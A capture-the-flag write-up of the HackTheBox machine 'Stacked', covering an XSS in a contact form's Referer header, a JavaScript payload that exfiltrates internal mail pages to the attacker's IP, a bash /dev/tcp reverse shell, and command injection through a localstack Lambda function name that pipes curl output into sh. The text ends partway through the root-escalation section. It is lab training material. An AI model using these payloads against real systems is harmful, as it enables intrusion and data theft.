User
Stacked is an insane reated machine on HackTheBox created by TheCyberGeek. For the user part we will abuse an XSS in a contact form referer header after fuzzing a vhost. Through this we discover an email on an internal page which reveals another vhost that is a localstack endpoint. The endpoint is vulnerable to command injection with user interaction in the lambda service. Combining this with the XSS we get a foothold in a docker container. Monitoring the creation of a valid lamdba function we will discover another command injection which gets us root on the docker this time. We then will use the certificates in the root folder to interact with the open docker port, mount the host filesystem in a container, write an ssh key to rootโs authorized keys and grab the flag after logging in.
Nmap
As usual we start our enumeration off with a nmap scan against all ports followed by a script and version scan against the open ones to get an inital overview of the attack surface.
All ports
1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p- -T4 10.129.223.207
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-19 09:20 GMT
Nmap scan report for 10.129.223.207
Host is up (0.049s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2376/tcp open docker
Nmap done: 1 IP address (1 host up) scanned in 53.93 seconds
Script and Version
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ sudo nmap -sC -sV -p22,80,2376 10.129.223.207
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-19 09:21 GMT
Nmap scan report for 10.129.223.207
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 12:8f:2b:60:bc:21:bd:db:cb:13:02:03:ef:59:36:a5 (RSA)
| 256 af:f3:1a:6a:e7:13:a9:c0:25:32:d0:2c:be:59:33:e4 (ECDSA)
|_ 256 39:50:d5:79:cd:0e:f0:24:d3:2c:f4:23:ce:d2:a6:f2 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://stacked.htb/
2376/tcp open ssl/docker?
| ssl-cert: Subject: commonName=0.0.0.0
| Subject Alternative Name: DNS:localhost, DNS:stacked, IP Address:0.0.0.0, IP Address:127.0.0.1, IP Address:172.17.0.1
| Not valid before: 2021-07-17T15:37:02
|_Not valid after: 2022-07-17T15:37:02
Service Info: Host: stacked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.65 seconds
Internal mail
The nmap scan reveals a hostname which we add to our /etc/hosts
and visit the page. It displays a very static looking page without much functionality.
Since there seem to be hostnames at play we next try to fuzz another vhost and find portfolio.stacked.htb
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.stacked.htb' -u http://stacked.htb/ -fw 18
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://stacked.htb/
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.stacked.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response words: 18
________________________________________________
portfolio [Status: 200, Size: 30268, Words: 11467, Lines: 445]
:: Progress: [114441/114441] :: Job [1/1] :: 295 req/sec :: Duration: [0:02:02] :: Errors: 0 ::
Visiting this page it lookes like a localstack development platform.
Scrolling down we can download a docker-compose.yml
which reveals some potential internal ports listening on the machine aswell as some services.
docker-compose.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
version: "3.3"
services:
localstack:
container_name: "${LOCALSTACK_DOCKER_NAME-localstack_main}"
image: localstack/localstack-full:0.12.6
network_mode: bridge
ports:
- "127.0.0.1:443:443"
- "127.0.0.1:4566:4566"
- "127.0.0.1:4571:4571"
- "127.0.0.1:${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"
environment:
- SERVICES=serverless
- DEBUG=1
- DATA_DIR=/var/localstack/data
- PORT_WEB_UI=${PORT_WEB_UI- }
- LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR- }
- LOCALSTACK_API_KEY=${LOCALSTACK_API_KEY- }
- KINESIS_ERROR_PROBABILITY=${KINESIS_ERROR_PROBABILITY- }
- DOCKER_HOST=unix:///var/run/docker.sock
- HOST_TMP_FOLDER="/tmp/localstack"
volumes:
- "/tmp/localstack:/tmp/localstack"
- "/var/run/docker.sock:/var/run/docker.sock"
Further down is also a contact form and it was mentioned above that any messages will be checked around the clock. This seems like a good point to check for XSS.
We fill out the form, intercept the request with burp, send it to repeater and stand up a ncat listener to capture the user request if we are successfull.
1
2
3
4
$ sudo nc -lnvp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Trying for XSS in the the subject first, there seems to be a blacklist being implemented.
The Referer
header doesnโt seem to be checked though and sending a simple payload we get a hit about one minute later on our listener.
The request reveals an internal webpage in its own referer header which we can try to exfiltrate in the next step. Note here that one of the parameters seems like it needs to be unique for every request so we will just add a letter to the parameters with each request.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ sudo nc -lnvp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.129.223.207.
Ncat: Connection from 10.129.223.207:36352.
GET /a.js HTTP/1.1
Host: 10.10.14.70
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mail.stacked.htb/read-mail.php?id=2
Connection: keep-alive
We want to load a script in the users browser which sends a request to http://mail.stacked.htb/
and sends the base64 encoded response back to us. This can be achived with two XML HTTP Requestsโs, one getting the page, the other sending the data back to us.
a.js
1
2
3
4
5
6
7
8
9
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://mail.stacked.htb/', false);
xhr.send();
var data = xhr.responseText
var exfil = new XMLHttpRequest();
exfil.open('GET', 'http://10.10.14.70/?a='+ btoa(data), true);
exfil.send();
After standing up a python webserver to serve our js payload we can now send the request in repeater.
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
About a minute later we get a hit for our a.js
and a few seconds later it returns the base64 encoded source code of the internal website.
1
2
3
4
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.223.207 - - [19/Sep/2021 10:08:04] "GET /a.js HTTP/1.1" 200 -
10.129.223.207 - - [19/Sep/2021 10:08:40] "GET /?a=PCFET0NUW...[snip]...0bWw+Cg== HTTP/1.1" 200 -
Looking at it there is another email from Jeremy which looks interesting.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>AdminLTE 3 | Mailbox</title>
<!-- Google Font: Source Sans Pro -->
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700&display=fallback">
<!-- Font Awesome -->
<link rel="stylesheet" href="plugins/fontawesome-free/css/all.min.css">
<!-- icheck bootstrap -->
<link rel="stylesheet" href="plugins/icheck-bootstrap/icheck-bootstrap.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="dist/css/adminlte.min.css">
</head>
<body class="hold-transition sidebar-mini">
...[snip]...
<tr>
<td>
<div class="icheck-primary">
<input type="checkbox" value="" id="check1">
<label for="check1"></label>
</div>
</td>
<td class="mailbox-star"><a href="#"><i class="fas fa-star text-warning"></i></a></td>
<td class="mailbox-name"><a href="read-mail.php?id=1">Jeremy Taint</a></td>
<td class="mailbox-subject"><b>S3 Instance Started</b></td>
<td class="mailbox-attachment"></td>
<td class="mailbox-date">2021-06-25 08:30:00</td>
</tr>
<tr>
<td>
<div class="icheck-primary">
<input type="checkbox" value="" id="check1">
<label for="check1"></label>
</div>
</td>
<td class="mailbox-star"><a href="#"><i class="fas fa-star text-warning"></i></a></td>
<td class="mailbox-name"><a href="read-mail.php?id=2">sab</a></td>
<td class="mailbox-subject"><b>sab</b></td>
<td class="mailbox-attachment"></td>
<td class="mailbox-date">2021-09-19 10:08:02</td>
</tr>
...[snip]...
</body>
</html>
We adjust our a.js
to now fetch http://mail.stacked.htb/read-mail.php?id=1
and repeat the steps from before.
a.js
1
2
3
4
5
6
7
8
9
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', false);
xhr.send();
var data = xhr.responseText
var exfil = new XMLHttpRequest();
exfil.open('GET', 'http://10.10.14.70/?a='+ btoa(data), true);
exfil.send();
We get a hit about one minuter later again and the source follows a few seconds later aswell.
1
2
3
4
5
6
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.223.207 - - [19/Sep/2021 10:08:04] "GET /a.js HTTP/1.1" 200 -
10.129.223.207 - - [19/Sep/2021 10:08:40] "GET /?a=PCFET0NUW...[snip]...0bWw+Cg== HTTP/1.1" 200 -
10.129.223.207 - - [19/Sep/2021 10:14:04] "GET /a.js HTTP/1.1" 200 -
10.129.223.207 - - [19/Sep/2021 10:14:40] "GET /?a=PCFET0NUW...[snip]...odG1sPgo= HTTP/1.1" 200 -
The email states that there is an S3 instance set up at s3-testing.stacked.htb
and we can use a serverless instance using node to work from.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>AdminLTE 3 | Read Mail</title>
<!-- Google Font: Source Sans Pro -->
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700&display=fallback">
<!-- Font Awesome -->
<link rel="stylesheet" href="plugins/fontawesome-free/css/all.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="dist/css/adminlte.min.css">
</head>
<body class="hold-transition sidebar-mini">
...[snip]...
<!-- /.mailbox-controls -->
<div class="mailbox-read-message">
<p>Hey Adam, I have set up S3 instance on s3-testing.stacked.htb so that you can configure the IAM users, roles and permissions. I have initialized a serverless instance for you to work from but keep in mind for the time being you can only run node instances. If you need anything let me know. Thanks.</p>
</div>
<!-- /.mailbox-read-message -->
...[snip]...
</body>
</html>
Localstack command injection
Adding the vhost to our /etc/hosts
we can enumerate running services on the endpoint with /health
.
1
2
$ curl http://s3-testing.stacked.htb/health
{"services": {"cloudformation": "running", "cloudwatch": "running", "dynamodb": "running", "dynamodbstreams": "running", "iam": "running", "sts": "running", "kinesis": "running", "lambda": "running", "logs": "running", "s3": "running", "apigateway": "running"}}
Checking for possible vulnerabilities in localstack lambda seems to be quite interesting. Following this article it seems like we can inject commands into a lambda function name. The only condition for this to work is that a user refreshes the dashboard which we can control with the found XSS.
Using this snippet from github we can create our own simple function interacting with the endpoint using aws-cli.
First we need to zip up the lambda.js
from the repository, which basically just creates a function app printing Hello World
.
lambda.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
'use strict'
const apiHandler = (payload, context, callback) => {
console.log(`Function apiHandler called with payload ${JSON.stringify(payload)}`);
callback(null, {
statusCode: 201,
body: JSON.stringify({
message: 'Hello World'
}),
headers: {
'X-Custom-Header': 'ASDF'
}
});
}
module.exports = {
apiHandler,
}
1
2
$ zip api-handler.zip lambda.js
adding: lambda.js (deflated 40%)
Next we have to create the javascript for the XSS wich redirects the user to the dashboard weโve seen in the dockerfile.
b.js
1
2
3
4
const look = () =>{
document.location = 'http://127.0.0.1:8080';
};
look();
Now we can stand up a python webserver for the javascript payload and our reverse shell payload in index.html
. We also listen with ncat to catch our reverse shell.
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
index.html
1
2
3
#!/bin/sh
bash -c 'bash -i >& /dev/tcp/10.10.14.70/443 0>&1'
1
2
3
4
$ sudo nc -lnvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Now we can create a function app with the command injection payload in the name and quickly send the request for the XSS in burp.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ aws lambda --endpoint=http://s3-testing.stacked.htb create-function --region eu-west-1 --function-name "api;curl\${IFS}10.10.14.70|sh;" --runtime nodejs8.10 --handler lambda.apiHandler --memory-size 128 --zip-file fileb://api-handler.zip --role arn:aws:iam::123456
:role/irrelevant
{
"FunctionName": "api;curl${IFS}10.10.14.70|sh;",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:api;curl${IFS}10.10.14.70|sh;",
"Runtime": "nodejs8.10",
"Role": "arn:aws:iam::123456:role/irrelevant",
"Handler": "lambda.apiHandler", "CodeSize": 405,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2021-09-19T11:14:20.246+0000",
"CodeSha256": "cf7lCPC48yh6PnJLXPm9O1nR7PoGIQ1sd7V2loQc2dY=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "37b8ed40-be33-484a-899a-57105cb09413",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
}
After about a minute again we first get a hit for the javascript payload and soon afterwards for our reverse shell.
1
2
3
4
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.223.207 - - [19/Sep/2021 11:16:03] "GET /b.js HTTP/1.1" 200 -
10.129.223.207 - - [19/Sep/2021 11:16:44] "GET / HTTP/1.1" 200 -
We upgrade the reverse shell using python, fix the terminal size and can now grab the user flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ sudo nc -lnvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.129.223.207.
Ncat: Connection from 10.129.223.207:52390.
bash: cannot set terminal process group (22): Not a tty
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
bash-5.0$ python -c 'import pty;pty.spawn("/bin/sh")'
python -c 'import pty;pty.spawn("/bin/sh")'
/opt/code/localstack $ export TERM=xterm
export TERM=xterm
/opt/code/localstack $ ^Z
[1]+ Stopped sudo nc -lnvp 443
$ stty raw -echo;fg
sudo nc -lnvp 443
/opt/code/localstack $ stty rows 55 cols 236
/opt/code/localstack $ wc -c /home/localstack/user.txt
33 /home/localstack/user.txt
Root
Command injection # 2
After looking around in the container there does not seem an obvious way to privesc, so the best shot might be to take a close look at the localstack functionalities. Using the github repository again we create a fully functioning lambda app and monitor on the docker with pspy
for process creation.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/tmp $ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
โโโโโโ โโโโโโ โโโโโโ โโโ โโโ
โโโโ โโโโโโ โ โโโโ โโโโโโ โโโ
โโโโ โโโโโ โโโโ โโโโ โโโโ โโโ โโโ
โโโโโโโ โ โ โโโโโโโโโโ โ โ โโโโโ
โโโโ โ โโโโโโโโโโโโโโ โ โ โ โโโโโ
โโโโ โ โโ โโโ โ โโโโโ โ โ โโโโโ
โโ โ โ โโ โ โโโ โ โโโ โโโ
โโ โ โ โ โโ โ โ โโ
โ โ โ
โ โ
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2021/09/19 11:39:15 CMD: UID=0 PID=93 | java -Djava.library.path=./DynamoDBLocal_lib -Xmx256m -jar DynamoDBLocal.jar -port 47861 -dbPath /var/localstack/data/dynamodb
2021/09/19 11:39:15 CMD: UID=1001 PID=5833 | ./pspy64
2021/09/19 11:39:15 CMD: UID=0 PID=5814 | /bin/sh
2021/09/19 11:39:15 CMD: UID=1001 PID=5588 | /bin/sh
2021/09/19 11:39:15 CMD: UID=1001 PID=5587 | python -c import pty;pty.spawn("/bin/sh")
2021/09/19 11:39:15 CMD: UID=1001 PID=5583 | bash -i
2021/09/19 11:39:15 CMD: UID=1001 PID=5582 | bash -c bash -i >& /dev/tcp/10.10.14.70/443 0>&1
2021/09/19 11:39:15 CMD: UID=1001 PID=5581 | sh
2021/09/19 11:39:15 CMD: UID=1001 PID=5574 | /bin/sh -c { test `which aws` || . .venv/bin/activate; }; aws --endpoint-url="http://localhost:4566" lambda list-event-source-mappings --function-name api;curl${IFS}10.10.14.70|sh;
2021/09/19 11:39:15 CMD: UID=0 PID=4830 | docker run -v /:/mnt/host --entrypoint sh -it 0601ea177088
2021/09/19 11:39:15 CMD: UID=0 PID=280 | /bin/sh
2021/09/19 11:39:15 CMD: UID=1001 PID=26 | python bin/localstack web
2021/09/19 11:39:15 CMD: UID=0 PID=25 | python bin/localstack start --host
2021/09/19 11:39:15 CMD: UID=1001 PID=24 | make web
2021/09/19 11:39:15 CMD: UID=0 PID=23 | make infra
2021/09/19 11:39:15 CMD: UID=0 PID=226 | /bin/bash
2021/09/19 11:39:15 CMD: UID=0 PID=225 | python -c import pty;pty.spawn("/bin/bash")
2021/09/19 11:39:15 CMD: UID=0 PID=224 | nc 10.10.14.70 443
2021/09/19 11:39:15 CMD: UID=0 PID=223 | /bin/sh -i
2021/09/19 11:39:15 CMD: UID=0 PID=222 | cat /tmp/f
2021/09/19 11:39:15 CMD: UID=1001 PID=22 | bash -c if [ "$START_WEB" = "0" ]; then exit 0; fi; make web
2021/09/19 11:39:15 CMD: UID=0 PID=212 |
2021/09/19 11:39:15 CMD: UID=0 PID=18 | tail -qF /tmp/localstack_infra.log /tmp/localstack_infra.err
2021/09/19 11:39:15 CMD: UID=0 PID=16 | /usr/bin/python3.8 /usr/bin/supervisord -c /etc/supervisord.conf
2021/09/19 11:39:15 CMD: UID=0 PID=108 | node /opt/code/localstack/localstack/node_modules/kinesalite/cli.js --shardLimit 100 --port 43843 --createStreamMs 500 --deleteStreamMs 500 --updateStreamMs 500 --path /var/localstack/data/kinesis
2021/09/19 11:39:15 CMD: UID=0 PID=1 | /bin/bash /usr/local/bin/docker-entrypoint.sh
We can take the setup.sh
from the repository, remove the fail checks, exchange the awslocal command for aws, add our endpoint to the aws commands and remove the id
in the later path parameters to avoid errors.
setup.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh
API_NAME="processes"
REGION=eu-west-1
STAGE=test
aws lambda create-function \
--endpoint=http://s3-testing.stacked.htb \
--region ${REGION} \
--function-name ${API_NAME} \
--runtime nodejs8.10 \
--handler lambda.apiHandler \
--memory-size 128 \
--zip-file fileb://api-handler.zip \
--role arn:aws:iam::123456:role/irrelevant
LAMBDA_ARN=$(aws lambda list-functions --endpoint=http://s3-testing.stacked.htb --query "Functions[?FunctionName==\\`${API_NAME}\\`].FunctionArn" --output text --region ${REGION})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
aws apigateway create-rest-api \
--endpoint=http://s3-testing.stacked.htb \
--region ${REGION} \
--name ${API_NAME}
API_ID=$(aws apigateway get-rest-apis --endpoint=http://s3-testing.stacked.htb --query "items[?name==\\`${API_NAME}\\`].id" --output text --region ${REGION})
PARENT_RESOURCE_ID=$(aws apigateway get-resources --endpoint=http://s3-testing.stacked.htb --rest-api-id ${API_ID} --query 'items[?path==`/`].id' --output text --region ${REGION})
aws apigateway create-resource \
--endpoint=http://s3-testing.stacked.htb \
--region ${REGION} \
--rest-api-id ${API_ID} \
--parent-id ${PARENT_RESOURCE_ID} \
--path-part "{somethingId}"
RESOURCE_ID=$(aws apigateway get-resources --endpoint=http://s3-testing.stacked.htb --endpoint=http://s3-testing.stacked.htb --rest-api-id ${API_ID} --query 'items[?path==`/{somethingId}`].id' --output text --region ${REGION})
aws apigateway put-method \
--endpoint=http://s3-testing.stacked.htb \
--region ${REGION} \
--rest-api-id ${API_ID} \
--resource-id ${RESOURCE_ID} \
--http-method GET \
--request-parameters "method.request.path.somethingId=true" \
--authorization-type "NONE" \
aws apigateway put-integration \
--endpoint=http://s3-testing.stacked.htb \
--region ${REGION} \
--rest-api-id ${API_ID} \
--resource-id ${RESOURCE_ID} \
--http-method GET \
--type AWS_PROXY \
--integration-http-method POST \
--uri arn:aws:apigateway:${REGION}:lambda:path/2015-03-31/functions/${LAMBDA_ARN}/invocations \
--passthrough-behavior WHEN_NO_MATCH \
aws apigateway create-deployment \
--endpoint=http://s3-testing.stacked.htb \
--region ${REGION} \
--rest-api-id ${API_ID} \
--stage-name ${STAGE} \
ENDPOINT=http://s3-testing.stacked.htb/restapis/${API_ID}/${STAGE}/_user_request_/HowMuchIsTheFish
echo "API available at: ${ENDPOINT}"
echo "Testing GET:"
curl -i ${ENDPOINT}
Running the script the lambda app gets successfully created and the end of the script verifies it exists.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
$./setup.sh
{
"FunctionName": "processes",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:processes",
"Runtime": "nodejs8.10",
"Role": "arn:aws:iam::123456:role/irrelevant",
"Handler": "lambda.apiHandler",
"CodeSize": 405,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2021-09-19T11:40:20.278+0000",
"CodeSha256": "6jk3Fx3fKCfj+kwwVgxY4sqLbU3PxGNXE1PbsJ5EIh8=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "d8f63f2f-80d8-400d-b0bd-d1828ec648b1",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
}
{
"id": "340nq8c7rx",
"name": "processes",
"createdDate": 1632051621,
"apiKeySource": "HEADER",
"endpointConfiguration": {
"types": [
"EDGE"
]
},
"tags": {},
"disableExecuteApiEndpoint": false
}
{
"id": "ve1kigf37i",
"parentId": "oq4xyd584l",
"pathPart": "{somethingId}",
"path": "/{somethingId}"
}
{
"httpMethod": "GET",
"authorizationType": "NONE",
"apiKeyRequired": false
}
{
"type": "AWS_PROXY",
"httpMethod": "POST",
"uri": "arn:aws:apigateway:eu-west-1:lambda:path/2015-03-31/functions/arn:aws:lambda:us-east-1:000000000000:function:processes/invocations",
"requestParameters": {},
"passthroughBehavior": "WHEN_NO_MATCH",
"cacheNamespace": "b573d621",
"cacheKeyParameters": [],
"integrationResponses": {
"200": {
"statusCode": 200,
"responseTemplates": {
"application/json": null
}
}
}
}
{
"id": "a0gamb3js4",
"description": "",
"createdDate": 1632051623
}
API available at: http://s3-testing.stacked.htb/restapis/340nq8c7rx/test/_user_request_/HowMuchIsTheFish
Testing GET:
HTTP/1.1 201
Date: Sun, 19 Sep 2021 11:40:25 GMT
Server: hypercorn-h11
content-type: text/html; charset=utf-8
content-length: 25
x-custom-header: ASDF
access-control-allow-origin: *
access-control-allow-methods: HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH
access-control-allow-headers: authorization,content-type,content-length,content-md5,cache-control,x-amz-content-sha256,x-amz-date,x-amz-security-token,x-amz-user-agent,x-amz-target,x-amz-acl,x-amz-version-id,x-localstack-target,x-amz-tagging
access-control-expose-headers: x-amz-version-id
{"message":"Hello World"}
Checking on pspy now we see what is happening on the backend. A docker getโs created for the app and one command is executed with sh -c
. Inside this command is a parameter which gets the handler
variable passed we specified in setup.sh
. This looks like a perfect opportunity for another command injection.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/tmp $ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
โโโโโโ โโโโโโ โโโโโโ โโโ โโโ
โโโโ โโโโโโ โ โโโโ โโโโโโ โโโ
โโโโ โโโโโ โโโโ โโโโ โโโโ โโโ โโโ
โโโโโโโ โ โ โโโโโโโโโโ โ โ โโโโโ
โโโโ โ โโโโโโโโโโโโโโ โ โ โ โโโโโ
โโโโ โ โโ โโโ โ โโโโโ โ โ โโโโโ
โโ โ โ โโ โ โโโ โ โโโ โโโ
โโ โ โ โ โโ โ โ โโ
โ โ โ
โ โ
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2021/09/19 11:39:15 CMD: UID=0 PID=93 | java -Djava.library.path=./DynamoDBLocal_lib -Xmx256m -jar DynamoDBLocal.jar -port 47861 -dbPath /var/localstack/data/dynamodb
2021/09/19 11:39:15 CMD: UID=1001 PID=5833 | ./pspy64
2021/09/19 11:39:15 CMD: UID=0 PID=5814 | /bin/sh
2021/09/19 11:39:15 CMD: UID=1001 PID=5588 | /bin/sh
2021/09/19 11:39:15 CMD: UID=1001 PID=5587 | python -c import pty;pty.spawn("/bin/sh")
2021/09/19 11:39:15 CMD: UID=1001 PID=5583 | bash -i
2021/09/19 11:39:15 CMD: UID=1001 PID=5582 | bash -c bash -i >& /dev/tcp/10.10.14.70/443 0>&1
2021/09/19 11:39:15 CMD: UID=1001 PID=5581 | sh
2021/09/19 11:39:15 CMD: UID=1001 PID=5574 | /bin/sh -c { test `which aws` || . .venv/bin/activate; }; aws --endpoint-url="http://localhost:4566" lambda list-event-source-mappings --function-name api;curl${IFS}10.10.14.70|sh;
2021/09/19 11:39:15 CMD: UID=0 PID=4830 | docker run -v /:/mnt/host --entrypoint sh -it 0601ea177088
2021/09/19 11:39:15 CMD: UID=0 PID=280 | /bin/sh
2021/09/19 11:39:15 CMD: UID=1001 PID=26 | python bin/localstack web
2021/09/19 11:39:15 CMD: UID=0 PID=25 | python bin/localstack start --host
2021/09/19 11:39:15 CMD: UID=1001 PID=24 | make web
2021/09/19 11:39:15 CMD: UID=0 PID=23 | make infra
2021/09/19 11:39:15 CMD: UID=0 PID=226 | /bin/bash
2021/09/19 11:39:15 CMD: UID=0 PID=225 | python -c import pty;pty.spawn("/bin/bash")
2021/09/19 11:39:15 CMD: UID=0 PID=224 | nc 10.10.14.70 443
2021/09/19 11:39:15 CMD: UID=0 PID=223 | /bin/sh -i
2021/09/19 11:39:15 CMD: UID=0 PID=222 | cat /tmp/f
2021/09/19 11:39:15 CMD: UID=1001 PID=22 | bash -c if [ "$START_WEB" = "0" ]; then exit 0; fi; make web
2021/09/19 11:39:15 CMD: UID=0 PID=212 |
2021/09/19 11:39:15 CMD: UID=0 PID=18 | tail -qF /tmp/localstack_infra.log /tmp/localstack_infra.err
2021/09/19 11:39:15 CMD: UID=0 PID=16 | /usr/bin/python3.8 /usr/bin/supervisord -c /etc/supervisord.conf
2021/09/19 11:39:15 CMD: UID=0 PID=108 | node /opt/code/localstack/localstack/node_modules/kinesalite/cli.js --shardLimit 100 --port 43843 --createStreamMs 500 --deleteStreamMs 500 --updateStreamMs 500 --path /var/localstack/data/kinesis
2021/09/19 11:39:15 CMD: UID=0 PID=1 | /bin/bash /usr/local/bin/docker-entrypoint.sh
2021/09/19 11:40:20 CMD: UID=0 PID=5847 | unzip -o -q /tmp/localstack/zipfile.28a09a0a/original_lambda_archive.zip
2021/09/19 11:40:24 CMD: UID=0 PID=5874 | docker create -i -e DOCKER_LAMBDA_USE_STDIN=1 -e LOCALSTACK_HOSTNAME=172.17.0.2 -e EDGE_PORT=4566 -e _HANDLER=lambda.apiHandler -e AWS_LAMBDA_FUNCTION_TIMEOUT=3 -e AWS_LAMBDA_FUNCTION_NAME=processes -e AWS_LAMBDA_FUNCTION_VERSION=$LATEST -e AWS_LAMBDA_FUNCTION_INVOKED_ARN=arn:aws:lambda:us-east-1:000000000000:function:processes -e AWS_LAMBDA_COGNITO_IDENTITY={} -e NODE_TLS_REJECT_UNAUTHORIZED=0 --rm lambci/lambda:nodejs8.10 lambda.apiHandler
